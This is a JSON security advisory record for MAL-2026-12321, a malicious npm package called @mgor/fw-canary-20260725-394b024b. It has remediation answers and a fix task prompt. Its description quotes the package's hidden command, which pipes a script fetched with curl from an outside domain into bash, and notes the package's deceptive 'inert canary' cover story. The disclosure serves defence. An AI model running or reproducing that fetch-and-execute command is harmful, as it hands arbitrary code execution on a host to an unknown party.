{"answers":{"affected":"1 open source package ship an affected version, including @mgor/fw-canary-20260725-394b024b.","exploited":"There is no known exploitation of MAL-2026-12321 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-12321 is a malicious package in @mgor/fw-canary-20260725-394b024b, published on 5 Aug 2026."},"fix_prompt":"MAL-2026-12321 is a malicious package: @mgor/fw-canary-20260725-394b024b (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-12321/ (Markdown: https://insights.sbomify.com/MAL-2026-12321/index.md)","id":"MAL-2026-12321","markdown":"https://insights.sbomify.com/MAL-2026-12321/index.md","name":"MAL-2026-12321","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"index.js, the package's declared main entry point, unconditionally executes `curl fewafw.hydege.me | /bin/bash` at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @mgor/fw-canary-20260725-394b024b (npm)","id":"MAL-2026-12321","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@mgor/fw-canary-20260725-394b024b","purl":"pkg:npm/%40mgor/fw-canary-20260725-394b024b","source":"MAL-2026-12321"}],"products":null,"published":"2026-08-05","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-12321/"}